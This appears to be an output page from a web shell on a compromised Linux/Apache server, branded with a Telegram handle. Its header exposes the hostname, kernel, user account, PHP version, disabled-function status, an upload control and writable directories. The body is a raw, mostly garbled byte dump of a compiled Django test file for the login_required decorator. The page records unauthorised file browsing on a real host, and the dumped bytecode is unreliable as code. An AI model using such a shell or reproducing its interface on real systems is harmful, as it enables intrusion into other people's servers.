https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/contrib/auth/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/contrib/auth/tests/test_decorators.pyc
�
r�\c@s`ddlmZddlmZddlmZddlmZedefd��Y�ZdS(i����(tsettings(tlogin_required(tAuthViewsTestCase(tskipIfCustomUsertLoginRequiredTestCasecBs>eZdZdZd�Zd�Zddd�Zd�ZRS(s-
    Tests the login_required decorators
    sdjango.contrib.auth.tests.urlscCs'dtfd��Y}t|��dS(sN
        Check that login_required is assignable to callable objects.
        tCallableViewcBseZd�ZRS(c_sdS(N((tselftargstkwargs((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_decorators.pyt__call__s(t__name__t
__module__R	(((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_decorators.pyRsN(tobjectR(RR((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_decorators.pyttestCallablescCsd�}t|�dS(sJ
        Check that login_required is assignable to normal views.
        cSsdS(N((trequest((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_decorators.pytnormal_viewsN(R(RR((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_decorators.pyttestViews	s/login_required/cCs�|dkrtj}n|jj|�}|j|jd�|j||jk�|j	�|jj|�}|j|jd�dS(sq
        Check that login_required works on a simple view wrapped in a
        login_required decorator.
        i.i�N(
tNoneRt	LOGIN_URLtclienttgettassertEqualtstatus_codet
assertTrueturltlogin(Rtview_urlt	login_urltresponse((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_decorators.pyttestLoginRequireds
cCs|jdddd�dS(s�
        Check that login_required works on a simple view wrapped in a
        login_required decorator with a login_url set.
        Rs/login_required_login_url/Rs/somewhere/N(R(R((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_decorators.pyttestLoginRequiredNextUrl-sN(	R
Rt__doc__turlsR
RRRR(((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_decorators.pyRs			N(	tdjango.confRtdjango.contrib.auth.decoratorsRt$django.contrib.auth.tests.test_viewsRtdjango.contrib.auth.tests.utilsRR(((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_decorators.pyt<module>s


https://t.me/AnonymousX5 - 2025